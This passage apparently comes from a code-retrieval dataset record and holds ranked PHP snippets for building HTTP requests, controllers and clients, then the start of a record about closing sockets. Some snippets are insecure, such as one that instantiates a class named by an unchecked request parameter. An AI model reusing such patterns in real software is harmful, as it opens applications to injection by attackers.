'json'))\n ->addActionContext('head', array('xml', 'json'))\n ->addActionContext('option', array('xml', 'json'))\n ->setAutoJsonSerialization(true)\n ->initContext();\n #disable view rendering\n //$this->_helper->viewRenderer->setNeverRender(true);\n $this->_helper->viewRenderer->setNoRender(true);\n $this->_helper->layout->disableLayout();\n #Set Action Name for Request.\n if ($this->_server->getActionType() == 'action') {\n $this->method = 'method';\n }\n #Authentication\n// $this->_server->setPassword($password)->setUsername($username);\n #Security Options ::\n #Get Acl Object\n #TODO Set auth request inside server to allow you to use auth\n #Get Zend Auth.\n// $this->auth = Zend_Auth::getInstance();\n// if(!$this->auth->hasIdentity()) {\n// $this->_redirect('/admin/auth/login/');\n// }\n $this->getRequest()->setActionName($this->method);\n $this->view->response = \"\";\n $this->log->info(get_class($this) . '::init(' . $this->method . ')');\n #Allow xml to use view rendering.\n if ($this->getRequest()->getParam('format') == 'xml') {\n $this->_helper->viewRenderer->setNoRender(false);\n }\n// #TODO Find a way to allow entity to decide how it should interact with REST?\n// $reader = new AnnotationReader();\n// $reflClass = new \\ReflectionClass($this->_server->getActiveNamespace());\n// $classAnnotations = $reader->getClassAnnotations($reflClass);\n// $reflProperties = $reflClass->getProperties();\n// $mappedConstants = $reflClass->getConstants();\n// $this->log->info($classAnnotations);\n// foreach($reflProperties as $property) {\n// $reflProperties = new \\ReflectionProperty($property->class, $property->name);\n// $annotations = $reader->getPropertyAnnotations($reflProperties);\n// $this->log->info($property);\n// $this->log->info($annotations);\n// }\n// $this->log->info(\"EO Props\");\n\n $this->messageQueue = $this->_helper->getHelper('FlashMessenger');\n $this->view->messages = $this->messageQueue->getMessages();\n\n $frontendOptions = array(\n 'lifetime' => self::CACHE_LIFETIME, // cache lifetime of 2 hours\n 'automatic_serialization' => true\n );\n\n $backendOptions = array(\n 'cache_dir' => WEB_PATH . self::CACHE_DIR // Directory where to put the cache files\n );\n\n // getting a Zend_Cache_Core object\n $this->cache = \\Zend_Cache::factory('Core',\n 'File',\n $frontendOptions,\n $backendOptions);\n }", "public function builder()\n\t{\n\t\t$builder = new Builder($this->request);\n\t\treturn $builder;\n\t}", "public function factory_provider(): Response_Factory {\n\t\treturn new Response_Factory( new HTTP() );\n\t}", "function create(string $uri, $base_uri = null)\n{\n static $factory;\n\n $factory = $factory ?? new Factory();\n\n return $factory->create($uri, $base_uri);\n}", "public function make() {}", "public function make();", "public function createRequest(string $method, $uri): RequestInterface;", "public function __construct() {\n // BIG THANKS!!!\n foreach ($_POST as $key => $val) {\n if (substr($key, 0, 8) == 'action::') {\n $_POST['action'] = substr($key, 8);\n unset($_POST[$key]);\n }\n }\n\n $this->post = (object)$_POST;\n foreach($this->post as $key => $value) $this->post->$key = stripslashes($value);\n $this->_uri = array_key_exists('PATH_INFO', $_SERVER) ? $_SERVER['PATH_INFO'] : '';\n // Fix: workaround for lighttp rewrite rules, pse check for better solution\n if ('/index.php' === substr($this->_uri,0, 10))\n $this->_uri = substr($this->_uri, 10);\n $this->_rootUri = $this->getBaseUri() . substr($this->_uri, 1);\n\n $i = strrpos($_SERVER['SCRIPT_NAME'], '/') + 1;\n $this->baseUri = substr($_SERVER['REQUEST_URI'], 0, $i);\n\n $this->uri = $this->_uri;\n $this->requestUri = $_SERVER['REQUEST_URI'];\n }", "public function __construct(){\r\n $pageRequest ='homepage';\r\n //check if there are parameters\r\n if(isset($_REQUEST['page'])) {\r\n\r\n //load the type of page the request wants into page request\r\n \r\n $pageRequest = $_REQUEST['page'];\r\n }\r\n //instantiate the class that is being requested\r\n $page = new $pageRequest;\r\n\r\n if($_SERVER['REQUEST_METHOD'] == 'GET') {\r\n $page->get();\r\n } else {\r\n $page->post();\r\n }\r\n\r\n\r\n\r\n }", "static function factory($GET=array(), $POST=array(), $FILES=array()) {\n $type = (isset($GET['type'])) ? $GET['type'] : '';\n $objectController = $type.'_Controller';\n $addLocation = $type.'/'.$objectController.'.php';\n foreach ($_ENV['locations'] as $location) {\n if (is_file($location.$addLocation)) {\n return new $objectController($GET, $POST, $FILES);\n } \n }\n throw new Exception('The controller \"'.$type.'\" does not exist.');\n }", "public function __construct() {\r\n\t\tparent::__construct();\r\n\t\t$this->shortner = Url_Shortner::factory();\r\n\t}", "public static function create(ContainerInterface $container) {\n return new static($container->get('http_client'));\n }", "abstract protected function createHandler();", "protected function buildRequestHandler()\n {\n return FormRequestHandler::create($this);\n }", "public static function createFromGlobals()\n {\n $method = $_SERVER['REQUEST_METHOD'];\n $path = $_SERVER['REQUEST_URI'];\n return new static($method, $path, $_REQUEST);\n }", "function __construct($request_obj, $response_obj, $app) {\n parent::__construct($request_obj, $response_obj, $app);\n }", "function __construct() {\n $this->init();\n \\base\\RequestRegistry::setRequest($this);\n }", "abstract protected function createResource();", "public abstract function make();", "protected function newRequest($queryString= '') {\n parse_str(ltrim($queryString, '?'), $params);\n\n $r= new HttpScriptletRequest();\n $r->setParams($params);\n $r->setURI(new URL(self::BASE_URL.$queryString));\n\n return $r;\n }", "static function create(): self;", "public function __construct(){\r\n\t\t\t$this->request_vars = array();\r\n\t\t\t$this->data = '';\r\n\t\t\t$this->http_accept = (strpos($_SERVER['HTTP_ACCEPT'], 'json')) ? 'json' : 'xml';\r\n\t\t\t$this->method = 'GET';\r\n\t\t}", "public function setUp()\n {\n $first = new class implements MiddlewareInterface {\n\n public function request($body)\n {\n return \"foo \" . $body;\n }\n\n public function response($body)\n {\n if (strpos($body, \"foo \")===0) {\n return substr($body, 4);\n }\n\n return $body;\n }\n\n };\n\n // First will add the word bar to the start of a string, and remove it if it's there\n $second = new class implements MiddlewareInterface {\n public function request($body)\n {\n return \"bar \" . $body;\n }\n\n public function response($body)\n {\n if (strpos($body, \"bar \")===0) {\n return substr($body, 4);\n }\n\n return $body;\n }\n\n };\n\n $this->middleware = new MiddlewareGroup([$first, $second]);\n }", "public function create($inPublic=true, $inAdmn=true, $weight=1, $body=''){\r\n\t\t$data = \"<?xml version=\\\"1.0\\\"?>\" . PHP_EOL;\r\n\t\t$data .= \"<html xmlns:xsi=\\\"http://www.w3.org/2001/XMLSchema-instance\\\" xml:id=\\\"html\\\" attr=\\\"lang='en-US'\\\" weight=\\\"\".$weight.\"\\\">\" . PHP_EOL;\r\n\t\t\t$data .= \"\\t<head xml:id=\\\"head\\\" weight=\\\"1\\\">\" . PHP_EOL . PHP_EOL;\r\n\t\t\t$data .= \"\\t</head>\" . PHP_EOL;\r\n\t\t\t$data .= \"\\t<body xml:id=\\\"body\\\" weight=\\\"1\\\">\" . PHP_EOL . PHP_EOL;\r\n\t\t\t\tif($body){\r\n\t\t\t\t\t$data .= $body;\r\n\t\t\t\t}\r\n\t\t\t$data .= \"\\t</body>\" . PHP_EOL;\r\n\t\t$data .= \"</html>\" . PHP_EOL;\r\n\r\n\t\t$target = ROOT.DS.'App'.DS.'Ext'.DS.$this->config['vendor'].DS.$this->config['module'].DS.'View'.DS.'Layout';\r\n\r\n\t\tif($inPublic){\r\n\t\t\t$this->createHelper($data, false);\r\n\t\t}\r\n\t\tif($inAdmn){\r\n\t\t\t$this->createHelper($data, true);\r\n\t\t}\r\n\t}", "public function __construct() {\n $this->html = new HtmlElm( \"html\" );\n $head = new HtmlElm( \"head\" );\n $meta = new EmptyHtmlElm( \"meta\" );\n $this->head = $head->append( $meta->attr( \"http-equiv\", \"Content-Type\" )->attr( \"content\", \"text/html;charset=utf-8\" ) );\n $this->body = new HtmlElm( \"body\" );\n }", "public function __construct()\n {\n $this->uri = $_SERVER['REQUEST_URI'];\n $this->method = $_SERVER['REQUEST_METHOD'];\n\n // Get all parameters from the request depending on request method\n $parameters = match ($this->method) {\n 'GET' => $_GET,\n 'POST' => $_POST,\n };\n // Remove 'path' from Request parameters because we use it in rewrite rule in htaccess for pretty url,\n // and it is handled by the Route later.\n unset($parameters['path']);\n $this->parameters = $parameters;\n }", "public function create_instance() {\n\t\t$args = wp_parse_args( $_REQUEST['params'] );\n\n\t\t$webserver = '';\n\t\tif ( ! empty( $args['webserver-type'] ) ) {\n\t\t\t$webserver = sanitize_text_field( $args['webserver-type'] );\n\t\t}\n\t\tif ( empty( $webserver ) ) {\n\t\t\t$webserver = 'nginx';\n\t\t}\n\t\t$os = sanitize_text_field( $args['os'] );\n\t\t$provider = sanitize_text_field( $args['provider'] );\n\t\t$region = sanitize_text_field( $args['region'] );\n\t\t$size = sanitize_text_field( $args['size'] );\n\t\t$user_id = (int) $args['wp_user_id'];\n\t\tif ( empty( $user_id ) ) {\n\t\t\t$user = wp_get_current_user();\n\t\t} else {\n\t\t\t$user = get_user_by( 'ID', $user_id );\n\t\t}\n\t\t$type = sanitize_text_field( $args['server_type'] );\n\t\t$version = sanitize_text_field( $args['script_version'] );\n\n\t\t/* Make sure we have a server type */\n\t\tif ( empty( $type ) ) {\n\t\t\t$type = 'wordpress-app';\n\t\t\t$args['server_type'] = $type;\n\t\t}\n\n\t\t/* Generate the server name */\n\t\tif ( wpcd_get_option( 'wordpress_app_use_extended_server_name' ) || empty( $args['name'] ) ) {\n\t\t\tif ( empty( $args['name'] ) ) {\n\t\t\t\t$name = sanitize_title( sprintf( '%s-%s-%s', $provider, $user->user_nicename, get_gmt_from_date( '' ) ) );\n\t\t\t} else {\n\t\t\t\t$name = sanitize_title( sprintf( '%s-%s-%s-%s', $provider, $user->user_nicename, $args['name'], get_gmt_from_date( '' ) ) );\n\t\t\t}\n\t\t} else {\n\t\t\t$name = sanitize_text_field( $args['name'] );\n\t\t}\n\n\t\t$attributes = array(\n\t\t\t'webserver_type' => $webserver,\n\t\t\t'initial_os' => $os,\n\t\t\t'initial_app_name' => $type,\n\t\t\t'scripts_version' => $version,\n\t\t\t'region' => $region,\n\t\t\t'size_raw' => $size,\n\t\t\t'name' => $name,\n\t\t\t'provider' => $provider,\n\t\t\t'init' => true,\n\t\t\t'server-type' => $type,\n\t\t\t'user_id' => $user->ID,\n\t\t);\n\n\t\t// Add custom fields into the $attributes array...\n\t\t$custom_fields = apply_filters( \"wpcd_{$this->get_app_name()}_create_wp_server_parms_custom_fields\", WPCD_CUSTOM_FIELDS()->get_fields_for_location( 'wordpress-app-new-server-popup' ), $attributes, $args );\n\t\tforeach ( $custom_fields as $field ) {\n\t\t\tif ( isset( $args[ $field['name'] ] ) ) {\n\t\t\t\t$attributes[ $field['name'] ] = sanitize_text_field( $args[ $field['name'] ] );\n\t\t\t}\n\t\t}\n\n\t\t/* Allow others to populate the attributes array which should get stored in the CPT automatically. */\n\t\t$attributes = apply_filters( \"wpcd_{$this->get_app_name()}_initial_server_attributes\", $attributes, $args );\n\n\t\t/* Create server */\n\t\t$instance = WPCD_SERVER()->create_server( 'create', $attributes ); // fire up a new server.\n\n\t\t/* Check for error */\n\t\tif ( ( is_wp_error( $instance ) ) || ( ! $instance ) ) {\n\t\t\treturn $instance;\n\t\t}\n\n\t\t/* If we have a valid post id, add custom fields data to the server post object */\n\t\t$post_id = $instance['post_id'];\n\t\tif ( ( ! empty( $post_id ) ) && ( ! is_wp_error( $post_id ) ) ) {\n\t\t\t$custom_fields = apply_filters( \"wpcd_{$this->get_app_name()}_create_wp_server_custom_post_fields\", WPCD_CUSTOM_FIELDS()->get_fields_for_location( 'wordpress-app-new-server-popup' ), $attributes, $args );\n\t\t\tforeach ( $custom_fields as $field ) {\n\t\t\t\tif ( isset( $instance[ $field['name'] ] ) ) {\n\t\t\t\t\tupdate_post_meta( $post_id, $field['name'], $instance[ $field['name'] ] );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t/* Install app on server */\n\t\tif ( $instance ) {\n\t\t\t$instance = $this->add_app( $instance );\n\t\t}\n\n\t\treturn $instance;\n\t}", "public function Create($param=array()) {\n\t\tforeach($param as $key => $value) {\n\t\t\t$this->$key = $value;\n\t\t}\n\t\t$this->link_rel = $this->server->Service()->Name();\n\t\t$this->link_href = $this->server->Url();\n\t\treturn parent::Create($param);\n\t}", "private function __construct(){\n $this->config = APP_CONFIG;\n $this->request= new Request();\n $this->response= new Response();\n $this->kernel = KERNEL;\n}", "public function init()\n {\n // init default response properties\n $this->headers = array();\n $this->params = array();\n $this->uri = null;\n $this->method = null;\n $this->version = null;\n $this->cookies = array();\n $this->parts = array();\n\n // Query string is always present, even if it is empty\n $this->queryString = '';\n $this->body = '';\n\n return $this;\n }", "public static function createFromGlobals() {\n throw new Exception(\"Can not generate request from globals in a hprose environment.\");\n }", "public function create(){\r\n\treturn new $this->class();\r\n }", "abstract function create();", "protected function http(){\n\n if( empty($this->HTTPClient) ){\n\n //init stack\n $stack = HandlerStack::create();\n\n if ( $this->token ){\n\n //setup to send the token with each request\n\n $this->addHeader(Headers::AUTHORIZATION, ( \"TOKEN \" . $this->token->getValue() ) );\n\n }\n else{\n\n //setup client to send signed requests\n\n $signer = new Signer(Settings::PROVIDER);\n $middleware = new Middleware($signer, $this->cfg->getKey(), $this->cfg->getSecret());\n\n $stack->push($middleware);\n\n }\n\n //enable debug\n if( $logger = $this->cfg->getLogger() )\n $this->pushRequestLogger($logger, $stack);\n\n //create the client\n $this->HTTPClient = new HTTPClient([\n 'headers' => &$this->headers,\n 'timeout' => $this->cfg->getRequestTimeout(),\n 'handler' => $stack\n ]);\n\n return $this->HTTPClient;\n\n }\n\n return $this->HTTPClient;\n\n }", "public function getHttpFactory() {\n return $this->httpFactory;\n }", "public function regularNew() {}", "function __construct($http_request) {\n $this->http_request = $http_request;\n }", "public static function factory($uri = true, $client_params = [], $allow_external = true, $injected_routes = [])\n {\n // If this is the initial request\n if (!Request::$initial) {\n $protocol = HTTP::$protocol;\n \n if (Server::requestMethod() !== HTTPRequest::GET) {\n // Ensure the raw body is saved for future use\n $body = file_get_contents('php://input');\n }\n\n if ($uri === true) {\n // Attempt to guess the proper URI\n $uri = Server::detectUri();\n }\n\n $cookies = [];\n\n if (($cookie_keys = array_keys($_COOKIE))) {\n foreach ($cookie_keys as $key) {\n $cookies[$key] = Cookie::get($key);\n }\n }\n\n // Create the instance singleton\n Request::$initial = $request = (new Request($uri, $client_params, $allow_external, $injected_routes))\n ->protocol($protocol)\n ->query($_GET)\n ->post($_POST)\n ->secure(Server::requestSecure())\n ->method(Server::requestMethod())\n ->referrer(Server::httpReferrer())\n ->requestedWith(Server::requestedWith())\n ->cookie($cookies);\n\n if (isset($body)) {\n // Set the request body (probably a PUT type)\n $request->body($body);\n }\n } else {\n $request = new Request($uri, $client_params, $allow_external, $injected_routes);\n }\n\n return $request;\n }", "private function initHttp()\n {\n $this->di->mapService('core.http', '\\Core\\Http\\Http', [\n 'core.http.cookie',\n 'core.http.header'\n ]);\n $this->di->mapService('core.http.cookie', '\\Core\\Http\\Cookie\\CookieHandler');\n $this->di->mapService('core.http.header', '\\Core\\Http\\Header\\HeaderHandler');\n\n $this->http = $this->di->get('core.http');\n }", "public static function createRequest($rawRequest) {\n if(self::isHttpPostRequest($rawRequest)) {\n return new HttpPostRequest($rawRequest);\n }\n // if it is not a post request, create a get request\n else {\n return new HttpGetRequest($rawRequest);\n }\n }", "public function createHttpRequest()\n {\n /*\n * A patch which will take JSON bodies passed in POST requests and fill them into $_POST array,\n * so they are parsed by create HTTP request method.\n */\n if (!empty($_SERVER['REQUEST_METHOD']) && strtoupper($_SERVER['REQUEST_METHOD']) == 'POST'\n && !empty($_SERVER['CONTENT_TYPE']) && strpos(strtolower($_SERVER['CONTENT_TYPE']), 'application/json') !== false) {\n $body = file_get_contents('php://input');\n try {\n $json = Json::decode($body, Json::FORCE_ARRAY);\n }\n catch (JsonException $e) {\n throw new BadRequestException(\"Parsing of the JSON body failed: \" . $e->getMessage());\n }\n\n if (!is_array($json)) {\n throw new BadRequestException(\"A collection is expected as JSON body. Scalar value was given instead.\");\n }\n\n $_POST = $json;\n }\n\n return parent::createHttpRequest();\n }", "abstract protected function _setRequestServiceBuilder();", "public function __construct(ServerRequestInterface $request){\n\n //recupera a rota atual\n $route = $request->getAttribute('route');\n\n //verifica se é uma rota válida\n if($route and $route instanceof Routable){\n\n //salva a rota\n $this->route = $route;\n\n //salva o nome\n $this->name = $route->getName();\n\n //recupera os atributos\n $attrs = explode('.', $route->getName());\n $this->level = Arr::last($attrs);\n $this->module = Arr::first($attrs);\n\n //recupera os argumentos\n $this->args = $route->getArguments();\n\n //salva os grupos\n $this->groups = collect($route->getGroups())->map(function($group){\n return $group->getPattern();\n });\n\n }else{\n $this->groups = collect([]);\n }\n\n }", "public static function create(): self\n\t{\n\t\treturn (new static(...func_get_args()))->open();\n\t}", "function __construct() {\n\t\t\t$this->inicializar($_GET, $_POST, $_FILES, $_COOKIE, $_SERVER, array());\n\t\t}", "public function __construct(array $options = array())\n {\n $this->request = new Request();\n $this->response = new Response();\n $this->router = new Router($this->request);\n }", "public static function newInstance($path = \\simpleChat\\Utility\\ROOT_PATH)\n {\n $request = new Request();\n \n \n if ($request->isAjax())\n {\n return new AjaxController();\n }\n else if ($request->jsCode())\n {\n return new JsController();\n }\n else\n {\n return new StandardController($path);\n }\n }", "public static function factory()\r\n {\r\n return parent::factory(__CLASS__);\r\n }", "protected function _construct()\n\t{\n\t\t$this->resetParams();\n\t\treturn parent::_construct();\n\t}", "function __construct($response, $request)\n\t{\n\t\tparent::__construct($response, $request);\n\t}", "public function create()\n {\n return $this->createResource(sprintf('/%s/%s', MoipResource::VERSION, self::PATH));\n }", "public static function create(): CrawlerInterface;", "abstract protected function createObject();", "public function testGlobalsCreation()\n {\n $key = uniqid();\n\n // Test data\n $_GET = array_merge($_GET, array($key => 'get'));\n $_POST = array_merge($_POST, array($key => 'post'));\n $_COOKIE = array_merge($_COOKIE, array($key => 'cookies'));\n $_SERVER = array_merge($_SERVER, array($key => 'server'));\n $_FILES = array_merge($_FILES, array($key => 'files'));\n\n // Create the request\n $request = Request::createFromGlobals();\n\n // Make sure our data's the same\n $this->assertSame($_GET[$key], $request->paramsGet()->get($key));\n $this->assertSame($_POST[$key], $request->paramsPost()->get($key));\n $this->assertSame($_COOKIE[$key], $request->cookies()->get($key));\n $this->assertSame($_SERVER[$key], $request->server()->get($key));\n $this->assertSame($_FILES[$key], $request->files()->get($key));\n }", "protected function build() \n {\n $client = new Zend_Http_Client();\n $config = array('timeout' => 60);\n $client->setConfig($config);\n $client\n ->setUri($this->getEndpoint())\n ->setMethod($this->getMethod())\n ->setHeaders($this->getHeaders());\n\n return $client;\n }", "protected function getResponseFactory()\n {\n }", "protected function createHttpClient()\n {\n $stack = HandlerStack::create();\n\n $middleware = new Oauth1([\n 'consumer_key' => $this->consumerKey,\n 'consumer_secret' => $this->consumerSecret,\n 'token' => $this->token,\n 'token_secret' => $this->tokenSecret\n ]);\n\n $stack->push($middleware);\n\n $client = new HttpClient([\n 'handler' => $stack\n ]);\n\n return $this->setHttpClient($client);\n }", "public function __construct($getServer)\n {\n $this -> serverInfo = $getServer;\n $this -> method = $getServer['REQUEST_METHOD'];\n $this -> response = array(\"host\" => $getServer['SERVER_NAME'], \"uri\" => $getServer['REQUEST_URI'], \"method\" => $getServer['REQUEST_METHOD']);\n\n # get all headers\n $this -> response['header'] = array();\n foreach (getallheaders() as $name => $value) {\n $this -> response['header'][$name] = $value;\n }\n \n # beginning passing request\n switch($this -> method) {\n default:\n case \"GET\":\n $this -> GET();\n break;\n case \"POST\":\n\t $this -> POST();\n break;\n case \"PUT\":\n case \"DELETE\":\n $this -> PUTOrDelete();\n break;\n }\n }", "public function __construct($params = '', $inputFormat = 'json', $options = array())\n {\n self::$httpAccept = \"application/$inputFormat\";\n\n // set options e.g. offset and limit\n $this->setOptions($options);\n\n $reflectionClass = new \\ReflectionClass($this);\n\n if (null !== ($constructor = $reflectionClass->getConstructor())) {\n /**\n * 1. Set the API access point.\n * Generally this should be just getting the parameter from the right config (local,dev,production) and setting it\n * However, we might modify it here forcibly to accommodate for the fact that for example staging is throwing an out of memory error\n */\n self::$apiUrl = \\Config::get('app.DSpaceAPI');\n\n // NOPE, staging is DEAD\n // self::$apiUrl = 'http://dspace.jorum.ac.uk/rest/';\n // self::$apiUrl = 'http://10.99.120.145:8080/rest/';\n // self::$apiUrl = 'http://ec2-54-76-21-26.eu-west-1.compute.amazonaws.com/rest/';\n // self::$apiUrl = 'http://10.17.3.1:8080/rest/';\n\n\n /**\n * 2. get my class\n * The aim of this is to guess the access point from the daughter Model class e.g. Items->items\n */\n $classArray = explode('\\\\', $constructor->class);\n\n if (is_array($classArray) && count($classArray) > 0) {\n self::$model = strtolower($classArray[count($classArray) - 1]);\n\n // access points in this API are plural words..\n self::$servicePoint = str_plural(self::$model); // so if this was a call coming from the invocation of Item()->something() then resolve to /item\n }\n\n if (is_array($params)) { // initial data in the form if key=>'val'\n\n foreach ($params as $key => $value) {\n if ($key == 'ID') { // XML returns the id in Upper Case.\n $key = 'id';\n }\n\n /*\n * Below we check if the property exists. If it's a standard property such as 'title' then simply set it\n * If the property is a reference to a collection of known classes then instantiate them and push in their data\n * If it's a collection of METADATA then instantiate a Metadata object and create the pseudo attributes\n */\n\n if (property_exists($this, $key)) {\n $singKey = $key <> 'metadata' ? str_singular($key) : 'metadata'; // this is to avoid the conversion of metadata to metadatum\n\n $className = '\\\\MIMAS\\\\Service\\\\Jorum\\\\' . studly_case($singKey); // studly case means 'some_array' gets converted 'SomeArray'\n\n // right. if this is an object (i.e. a Bitstream or Metadata) then create it\n if (class_exists(studly_case($className))) {\n // metadata, bitstreams, collections etc...\n $this->$key = self::factory($className, $key, $value);\n\n } else { // otherwise, set it as raw data e.g. as string\n $this->$key = $value;\n }\n }\n }\n } elseif ($params <> '') {\n self::$outputFormat = $params; // We were called with a format suffix (i.e. json | xml)\n }\n }\n\n }" ]
[ "0.6102798", "0.5686488", "0.5676856", "0.56387836", "0.5626504", "0.5542996", "0.5530503", "0.54471457", "0.5439173", "0.5395884", "0.5351625", "0.5317065", "0.5317065", "0.53085923", "0.5293327", "0.5268499", "0.523159", "0.5205661", "0.51904166", "0.51703006", "0.5164401", "0.5159632", "0.51311356", "0.5119471", "0.51005137", "0.51005137", "0.51005137", "0.508696", "0.508067", "0.5080032", "0.50674164", "0.50488013", "0.50336605", "0.5022782", "0.50005215", "0.49941674", "0.49941674", "0.49940524", "0.4992695", "0.4992093", "0.4967964", "0.49669966", "0.49638876", "0.49632728", "0.4957154", "0.49457654", "0.49415955", "0.49369243", "0.49326915", "0.49244806", "0.49201944", "0.49129733", "0.4912519", "0.49075675", "0.49062246", "0.49052504", "0.48989818", "0.48900083", "0.48888087", "0.4878167", "0.48657233", "0.48509675", "0.48478445", "0.4847558", "0.4847288", "0.4847276", "0.48454928", "0.48431113", "0.483895", "0.48382932", "0.4838279", "0.48345137", "0.48324543", "0.48317364", "0.48316795", "0.4828605", "0.4819791", "0.48195577", "0.4816742", "0.481299", "0.48085225", "0.48067296", "0.4804993", "0.4792099", "0.47908974", "0.47878772", "0.4787782", "0.47867182", "0.47865325", "0.47818273", "0.47806746", "0.47712013", "0.47707376", "0.47648576", "0.47611073", "0.47548243", "0.4752223", "0.47421038", "0.47396818", "0.47395548" ]
0.58542013
1
Gracefully closes any open socket.
public static function closeSocket($socket) { $pname = stream_socket_get_name($socket, false); if (MHTTPD::$debug) {cecho("Closing socket: {$socket} ({$pname})\n");} @stream_socket_shutdown($socket, STREAM_SHUT_WR); usleep(500); @stream_socket_shutdown($socket, STREAM_SHUT_RD); @fclose($socket); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "private function close()\n {\n socket_close($this->socket);\n }", "public function close(): void\n\t{\n\t\tif ($this->socket) {\n\t\t\t$this->socket->close();\n\t\t\t$this->socket = null;\n\t\t}\n\t}", "private function close_socket() {\n\t\tfclose($this->_socket);\n\t\tif ($this->_CBC) $this->_CBC->_openSRS_crypt();\t\t\t/* destructor */\n\t\t$this->_CBC\t\t\t\t= false;\n\t\t$this->_authenticated\t= false;\n\t\t$this->_socket\t\t\t= false;\n\t}", "function close() {\r\n\t\tfclose($this->socket);\r\n\t}", "private function close() {\n\t\t$this->socketManager->removeSocketNotifier($this->notifier);\n\t\t$this->notifier = null;\n\t\tfclose($this->stream);\n\t}", "function close(){\n $this->disconnect();\n stream_socket_shutdown($this->socket, STREAM_SHUT_WR);\n }", "function close() {\n if ($this->ipcsock != NULL) { socket_close($this->ipcsock); }\n $this->ipcsock=NULL;\n }", "public function __destruct()\n {\n if (is_resource($this->socket))\n {\n socket_shutdown($this->socket);\n socket_close($this->socket);\n }\n }", "private function close() {\n\t\t// Close socket connection if keep alive isn't supported\n\t\tif (!$this->canKeepAlive()) {\n\t\t\t$this->client->close();\n\t\t} else {\n\t\t\t// Read away socket data to prepare for next request\n\t\t\tif (!$this->isEmptyBody) {\n\t\t\t\twhile ($this->readChunk() !== \"\") {\n\t\t\t\t\t// Empty body\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "public function __destroy()\n {\n socket_close($this->socket);\n }", "public function __destruct()\r\n\t{\r\n\t\tif (is_resource($this->socket))\r\n\t\t{\r\n\t\t\tfclose($this->socket);\r\n\t\t}\r\n\t}", "function shutdown() {\n\tsocket_close( $socket );\n}", "protected function _disconnect() {\n\t\t@fclose($this->socket);\n\t\t$this->socket = NULL;\n\t}", "public function __destruct() {\n $this->closeSocketResource($this->listeningSocket);\n $this->closeSocketResource($this->communicationSocket);\n }", "public function disconnect() {\n\t\t@fclose ( $this->socket );\n\t}", "public function __destruct() {\n\t\t\tsocket_close($this->socket);\n\t\t}", "public function close() {\n\t\t$this->send('__internal__', 'close'); //server side closing can be an issue, let the client do it\n\t}", "public function cleanResources()\n {\n if (!empty($this->clients)) {\n foreach ($this->clients as $client) {\n $this->close($client);\n }\n\n unset($this->clients);\n }\n\n $this->close($this->socket);\n unset($this->socket);\n }", "public function close()\n {\n $this->setError('');\n $this->server_caps = null;\n $this->helo_rply = null;\n if (is_resource($this->smtp_conn)) {\n // close the connection and cleanup\n fclose($this->smtp_conn);\n $this->smtp_conn = null; //Makes for cleaner serialization\n $this->edebug('Connection: closed', self::DEBUG_CONNECTION);\n }\n }", "private function closeSocketResource($resource) {\n if (empty($resource)) {\n return;\n }\n\n socket_shutdown($resource);\n socket_close($resource);\n }", "public function close()\n {\n return fclose($this->socket);\n }", "private function close() {\r\n if (is_resource($this->socket)) {\r\n fclose($this->socket);\r\n return true;\r\n }\r\n return false;\r\n }", "protected function closeRemote()\n {\n if ($this->getRemote()) {\n Logs::writeLog(Logs::WARN, \"Closing connection\");\n $this->write($this->getRemote(), Functions::getClosing());\n fclose($this->getRemote());\n }\n $this->setRemote( null);\n }", "public function close()\n {\n curl_close($this->curl);\n $this->curl = null;\n $this->connected_to = array(null, null);\n }", "function Close() \r\n{ \r\n//** no open cobnnection is available. Set error appropriately. \r\n\r\nif(!$this->isOpen()) \r\n$this->LastError = \"No connection available to close\"; \r\n\r\n//** an open connection is available to close. Close underlying socket. \r\n\r\nelse \r\n{ \r\nfclose($this->Socket); //** clsoe the connection. \r\n$this->Socket = TcpClientNoConnection; //** no connection now. \r\n} \r\nreturn !$this->isOpen(); //** return the close operation success. \r\n}", "public function disconnect() {\n if ($this->isConnected()) {\n fclose($this->handle);\n\n $this->handle = null;\n }\n }", "static function shutdown()\n\t{\n\t\tif (!empty(self::$channel))\n\t\t{\n\t\t\tself::$channel->close();\n\t\t\tself::$channel = null;\n\t\t}\n\n\t\tif (!empty(self::$connection))\n\t\t{\n\t\t\tself::$connection->close();\n\t\t\tself::$connection = null;\n\t\t}\n\t}", "function close($delete = false) {\n\t\tif ($this->socket) {\n\t\t\tstream_socket_shutdown ( $this->socket, STREAM_SHUT_WR );\n\t\t}\n\t\tif ($delete)\n\t\t\t@unlink ( $this->nom_socket );\n\t\treturn true;\n\t}", "public function __destruct()\n {\n if (isset($this->socket)) {\n fclose($this->socket);\n }\n\n if (isset($this->config['write_pidfile']) && $this->config['write_pidfile']) {\n unlink($this->pidfile);\n }\n }", "public function close()\n {\n $this->connection->quit();\n unset($this->connection);\n $this->connection = null;\n }", "function socket_close($socket)\n{\n global $socketSpy;\n\n $socketSpy->socketCloseWasCalled($socket);\n}", "public function shutdown()\n\t{\n\t\tif ( is_resource( $this->_stream ) )\n\t\t{\n\t\t\tfclose( $this->_stream );\n\t\t}\n\t}", "public function close()\r\n {\r\n $this->channel->close();\r\n $this->connect->close();\r\n }", "public function __destruct() {\r\n\t\ttry {\r\n\t\t\t$this->disconnect();\r\n\t\t} catch (\\Exception $e) { // avoid fatal error on script termination\r\n\t\t}\r\n\t}", "public function close()\n {\n if ($this->closed)\n {\n return;\n }\n \n $this->closed = true;\n $this->writable = false;\n $this->data = '';\n \n if($this->handle)\n {\n $this->loop->removeCurlHandle($this->handle);\n $this->handle = null;\n }\n \n $this->emit('close');\n $this->removeAllListeners();\n }", "function close() {\n\t\t$this->disconnect();\n\t}", "function Disconnect() \r\n\t{\r\n\t\tif( $this->debug & DBGTRACE ) echo \"Disconnect()\\n\";\r\n\t\tif( $this->socket )\r\n\t\t\tfclose( $this->socket );\r\n\t}", "function close_data_connection($sock_data)\r\n {\r\n \t$this->debug(\"Disconnected from remote host\\n\");\r\n \treturn fclose($sock_data);\r\n }", "public function Close() {\n\t $this->error = null; // so there is no confusion\n\t $this->helo_rply = null;\n\t if(!empty($this->smtp_conn)) {\n\t // close the connection and cleanup\n\t fclose($this->smtp_conn);\n\t $this->smtp_conn = 0;\n\t }\n\t}", "public function __destruct()\n {\n if ($this->isConnected) {\n $this->close();\n }\n }", "public function close()\n {\n // Does nothing, since connections are persistent\n }", "public function end(): void\n {\n if ($this->socket !== null) {\n // It seems like the server is closing this connection before responding, possibly?\n $ok = $this->writeCommand('END', '');\n\n if ($ok === 'OK') {\n 